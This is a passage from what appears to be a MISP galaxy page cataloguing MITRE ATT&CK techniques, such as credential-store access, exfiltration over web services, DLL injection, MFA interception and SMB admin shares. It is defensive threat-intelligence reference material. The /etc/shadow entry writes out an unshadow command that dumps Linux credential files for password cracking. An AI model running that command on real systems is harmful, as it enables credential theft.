- https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1499 |
| kill_chain | ['attack-Windows:impact', 'attack-Azure-AD:impact', 'attack-Office-365:impact', 'attack-SaaS:impact', 'attack-IaaS:impact', 'attack-Linux:impact', 'attack-macOS:impact', 'attack-Google-Workspace:impact', 'attack-Containers:impact'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Sensor Health: Host Status'] |
| mitre_platforms | ['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace', 'Containers'] |
Credentials from Password Stores - T1555
Adversaries may search for common password storage locations to obtain user credentials.(Citation: F-Secure The Dukes) Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.
Internal MISP references
UUID 3fc9b85a-2862-4363-a64d-d692e3ffbee0 which can be used as unique global reference for Credentials from Password Stores - T1555 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1555 |
| kill_chain | ['attack-Linux:credential-access', 'attack-macOS:credential-access', 'attack-Windows:credential-access', 'attack-IaaS:credential-access'] |
| mitre_data_sources | ['Cloud Service: Cloud Service Enumeration', 'Command: Command Execution', 'File: File Access', 'Process: OS API Execution', 'Process: Process Access', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'IaaS'] |
Exfiltration Over Web Service - T1567
Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.
Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Internal MISP references
UUID 40597f16-0963-4249-bf4c-ac93b7fb9807 which can be used as unique global reference for Exfiltration Over Web Service - T1567 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1567 |
| kill_chain | ['attack-Linux:exfiltration', 'attack-macOS:exfiltration', 'attack-Windows:exfiltration', 'attack-Office-365:exfiltration', 'attack-SaaS:exfiltration', 'attack-Google-Workspace:exfiltration'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Office 365', 'SaaS', 'Google Workspace'] |
Exploitation for Client Execution - T1658
Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to insecure coding practices that can lead to unanticipated behavior. Adversaries may take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Adversaries may use device-based zero-click exploits for code execution. These exploits are powerful because there is no user interaction required for code execution.
SMS/iMessage Delivery
SMS and iMessage in iOS are common targets through Drive-By Compromise, Phishing, etc. Adversaries may use embed malicious links, files, etc. in SMS messages or iMessages. Mobile devices may be compromised through one-click exploits, where the victim must interact with a text message, or zero-click exploits, where no user interaction is required.
AirDrop
Unique to iOS, AirDrop is a network protocol that allows iOS users to transfer files between iOS devices. Before patches from Apple were released, on iOS 13.4 and earlier, adversaries may force the Apple Wireless Direct Link (AWDL) interface to activate, then exploit a buffer overflow to gain access to the device and run as root without interaction from the user.
Internal MISP references
UUID 5abfc5e6-3c56-49e7-ad72-502d01acf28b which can be used as unique global reference for Exploitation for Client Execution - T1658 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1658 |
| kill_chain | ['mobile-attack-Android:execution', 'mobile-attack-iOS:execution'] |
| mitre_platforms | ['Android', 'iOS'] |
Search Open Technical Databases - T1596
Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)
Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).
Internal MISP references
UUID 55fc4df0-b42c-479a-b860-7a6761bcaad0 which can be used as unique global reference for Search Open Technical Databases - T1596 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1596 - webarchive
- https://dnsdumpster.com/ - webarchive
- https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2 - webarchive
- https://shodan.io - webarchive
- https://www.circl.lu/services/passive-dns/ - webarchive
- https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/ - webarchive
- https://www.sslshopper.com/ssl-checker.html - webarchive
- https://www.whois.net/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1596 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_platforms | ['PRE'] |
Modify Cloud Compute Infrastructure - T1578
An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.
Permissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)
Internal MISP references
UUID 144e007b-e638-431d-a894-45d90c54ab90 which can be used as unique global reference for Modify Cloud Compute Infrastructure - T1578 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1578 |
| kill_chain | ['attack-IaaS:defense-evasion'] |
| mitre_data_sources | ['Cloud Service: Cloud Service Metadata', 'Instance: Instance Creation', 'Instance: Instance Deletion', 'Instance: Instance Metadata', 'Instance: Instance Modification', 'Instance: Instance Start', 'Instance: Instance Stop', 'Snapshot: Snapshot Creation', 'Snapshot: Snapshot Deletion', 'Snapshot: Snapshot Metadata', 'Snapshot: Snapshot Modification', 'Volume: Volume Creation', 'Volume: Volume Deletion', 'Volume: Volume Metadata', 'Volume: Volume Modification'] |
| mitre_platforms | ['IaaS'] |
Gather Victim Identity Information - T1589
Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations.
Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames.(Citation: GrimBlog UsernameEnum)(Citation: Obsidian SSPR Abuse 2023) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)
Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).
Internal MISP references
UUID 5282dd9a-d26d-4e16-88b7-7c0f4553daf4 which can be used as unique global reference for Gather Victim Identity Information - T1589 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1589 - webarchive
- https://github.com/dxa4481/truffleHog - webarchive
- https://github.com/michenriksen/gitrob - webarchive
- https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/ - webarchive
- https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/ - webarchive
- https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/ - webarchive
- https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196 - webarchive
- https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/ - webarchive
- https://www.opm.gov/cybersecurity/cybersecurity-incidents/ - webarchive
- https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/ - webarchive
- https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1589 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['PRE'] |
AutoHotKey & AutoIT - T1059.010
Adversaries may execute commands and perform malicious tasks using AutoIT and AutoHotKey automation scripts. AutoIT and AutoHotkey (AHK) are scripting languages that enable users to automate Windows tasks. These automation scripts can be used to perform a wide variety of actions, such as clicking on buttons, entering text, and opening and closing programs.(Citation: AutoIT)(Citation: AutoHotKey)
Adversaries may use AHK (.ahk) and AutoIT (.au3) scripts to execute malicious code on a victim's system. For example, adversaries have used for AHK to execute payloads and other modular malware such as keyloggers. Adversaries have also used custom AHK files containing embedded malware as Phishing payloads.(Citation: Splunk DarkGate)
These scripts may also be compiled into self-contained executable payloads (.exe).(Citation: AutoIT)(Citation: AutoHotKey)
Internal MISP references
UUID 3a32740a-11b0-4bcf-b0a9-3abd0f6d3cd5 which can be used as unique global reference for AutoHotKey & AutoIT - T1059.010 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1059/010 - webarchive
- https://www.autohotkey.com/docs/v1/Program.htm - webarchive
- https://www.autoitscript.com/autoit3/docs/intro/running.htm - webarchive
- https://www.splunk.com/en_us/blog/security/enter-the-gates-an-analysis-of-the-darkgate-autoit-loader.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1059.010 |
| kill_chain | ['attack-Windows:execution'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
SNMP (MIB Dump) - T1602.001
Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).
The MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details.
Adversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)
Internal MISP references
UUID ee7ff928-801c-4f34-8a99-3df965e581a5 which can be used as unique global reference for SNMP (MIB Dump) - T1602.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1602/001 - webarchive
- https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 - webarchive
- https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3 - webarchive
- https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051 - webarchive
- https://www.us-cert.gov/ncas/alerts/TA18-106A - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1602.001 |
| kill_chain | ['attack-Network:collection'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['Network'] |
Related clusters
To see the related clusters, click here.
Logon Script (Windows) - T1037.001
Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\Environment\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts)
Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.
Internal MISP references
UUID eb125d40-0b2d-41ac-a71a-3229241c2cd3 which can be used as unique global reference for Logon Script (Windows) - T1037.001 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1037.001 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Push-notification client-side exploit - T1373
This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.
A technique to push an iOS or Android MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)
Internal MISP references
UUID 702dc95d-3266-42dc-9eef-4a19e2445148 which can be used as unique global reference for Push-notification client-side exploit - T1373 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1373 |
| kill_chain | ['pre-attack:launch'] |
Dynamic-link Library Injection - T1055.001
Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.
DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017)
Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017)
Another variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's AddressOfEntryPoint before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.
Internal MISP references
UUID f4599aa0-4f85-4a32-80ea-fc39dc965945 which can be used as unique global reference for Dynamic-link Library Injection - T1055.001 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1055/001 - webarchive
- https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/ - webarchive
- https://www.endgame.com/blog/technical-blog/hunting-memory - webarchive
- https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - webarchive
- https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1055.001 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Windows:privilege-escalation'] |
| mitre_data_sources | ['Module: Module Load', 'Process: OS API Execution', 'Process: Process Access', 'Process: Process Metadata', 'Process: Process Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Exploit Public-Facing Application - T1190
Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.
Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may also involve Exploitation for Defense Evasion or Exploitation for Client Execution.
If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via Escape to Host, or take advantage of weak identity and access management policies.
Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)
For websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)
Internal MISP references
UUID 3f886f2a-874f-4333-b794-aa6075009b1c which can be used as unique global reference for Exploit Public-Facing Application - T1190 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1190 - webarchive
- https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 - webarchive
- https://cwe.mitre.org/top25/index.html - webarchive
- https://nvd.nist.gov/vuln/detail/CVE-2014-7169 - webarchive
- https://nvd.nist.gov/vuln/detail/CVE-2016-6662 - webarchive
- https://us-cert.cisa.gov/ncas/alerts/TA18-106A - webarchive
- https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/ - webarchive
- https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem - webarchive
- https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project - webarchive
- https://www.wired.com/story/russia-ukraine-cyberattacks-mandiant/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1190 |
| kill_chain | ['attack-Windows:initial-access', 'attack-IaaS:initial-access', 'attack-Network:initial-access', 'attack-Linux:initial-access', 'attack-macOS:initial-access', 'attack-Containers:initial-access'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['Windows', 'IaaS', 'Network', 'Linux', 'macOS', 'Containers'] |
Untargeted client-side exploitation - T1370
This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.
A technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)
Internal MISP references
UUID 2ec57bf1-fcc3-4c19-9516-79b7fde483af which can be used as unique global reference for Untargeted client-side exploitation - T1370 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1370 |
| kill_chain | ['pre-attack:launch'] |
Non-Application Layer Protocol - T1095
Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.
Internal MISP references
UUID c21d5a77-d422-4a69-acd7-2c53c1faa34b which can be used as unique global reference for Non-Application Layer Protocol - T1095 in MISP communities and other software using the MISP galaxy
External references
- http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29 - webarchive
- http://support.microsoft.com/KB/170292 - webarchive
- https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - webarchive
- https://attack.mitre.org/techniques/T1095 - webarchive
- https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices - webarchive
- https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1095 |
| kill_chain | ['attack-Windows:command-and-control', 'attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Network:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS', 'Network'] |
Multi-Factor Authentication Interception - T1111
Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms.
If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)
Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)
Other methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users’ phones.(Citation: Okta Scatter Swine 2022)
Internal MISP references
UUID dd43c543-bb85-4a6f-aa6e-160d90d06a49 which can be used as unique global reference for Multi-Factor Authentication Interception - T1111 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1111 |
| kill_chain | ['attack-Linux:credential-access', 'attack-Windows:credential-access', 'attack-macOS:credential-access'] |
| mitre_data_sources | ['Driver: Driver Load', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS'] |
Host-based hiding techniques - T1314
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Host based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)
Internal MISP references
UUID 6f088e84-37b2-44de-8df3-393908f2d77b which can be used as unique global reference for Host-based hiding techniques - T1314 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1314 |
| kill_chain | ['pre-attack:adversary-opsec'] |
Network-based hiding techniques - T1315
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Technical network hiding techniques are methods of modifying traffic to evade network signature detection or to utilize misattribution techniques. Examples include channel/IP/VLAN hopping, mimicking legitimate operations, or seeding with misinformation. (Citation: HAMMERTOSS2015)
Internal MISP references
UUID 90884cdb-31dd-431c-87db-9cc7e03191e5 which can be used as unique global reference for Network-based hiding techniques - T1315 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1315 |
| kill_chain | ['pre-attack:adversary-opsec'] |
Targeted client-side exploitation - T1371
This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.
A technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user's computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)
Internal MISP references
UUID 72923cae-6c8c-4da2-8f48-b73389529c25 which can be used as unique global reference for Targeted client-side exploitation - T1371 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1371 |
| kill_chain | ['pre-attack:launch'] |
Insecure Third-Party Libraries - T1425
Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities.
For example, Ryan Welton of NowSecure identified exploitable remote code execution vulnerabilities in a third-party advertisement library (Citation: NowSecure-RemoteCode). Grace et al. identified security issues in mobile advertisement libraries (Citation: Grace-Advertisement).
Platforms: Android, iOS
Internal MISP references
UUID 11bd699b-f2c2-4e48-bf46-fb3f8acd9799 which can be used as unique global reference for Insecure Third-Party Libraries - T1425 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1425 |
Related clusters
To see the related clusters, click here.
Exploit public-facing application - T1377
This technique has been deprecated. Please use Exploit Public-Facing Application.
The use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)
Internal MISP references
UUID 8a64f743-acaa-49d5-9d3d-ae5616a3876f which can be used as unique global reference for Exploit public-facing application - T1377 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1377 |
| kill_chain | ['pre-attack:launch'] |
Search Victim-Owned Websites - T1594
Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: Email Addresses). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)
Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Trusted Relationship or Phishing).
Internal MISP references
UUID 16cdd21f-da65-4e4f-bc04-dd7d198c7b26 which can be used as unique global reference for Search Victim-Owned Websites - T1594 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1594 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_data_sources | ['Application Log: Application Log Content'] |
| mitre_platforms | ['PRE'] |
/etc/passwd and /etc/shadow - T1003.008
Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user.(Citation: Linux Password and Shadow File Formats)
The Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) # /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db
Internal MISP references
UUID d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4 which can be used as unique global reference for /etc/passwd and /etc/shadow - T1003.008 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1003.008 |
| kill_chain | ['attack-Linux:credential-access'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access'] |
| mitre_platforms | ['Linux'] |
Related clusters
To see the related clusters, click here.
SMB/Windows Admin Shares - T1021.002
Adversaries may use Valid Accounts to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.
SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.
Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task/Job, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.(Citation: Microsoft Admin Shares)
Internal MISP references
UUID 4f9ca633-15c5-463c-9724-bdcd54fde541 which can be used as unique global reference for SMB/Windows Admin Shares - T1021.002 in MISP communities and other software using the MISP galaxy
External references
- http://support.microsoft.com/kb/314984 - webarchive
- https://attack.mitre.org/techniques/T1021/002 - webarchive
- https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem - webarchive
- https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts - webarchive
- https://en.wikipedia.org/wiki/Server_Message_Block - webarchive
- https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96 - webarchive
- https://technet.microsoft.com/en-us/library/cc787851.aspx - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1021.002 |
| kill_chain | ['attack-Windows:lateral-movement'] |
| mitre_data_sources | ['Command: Command Execution', 'Logon Session: Logon Session Creation', 'Network Share: Network Share Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Disguise Root/Jailbreak Indicators - T1630.003
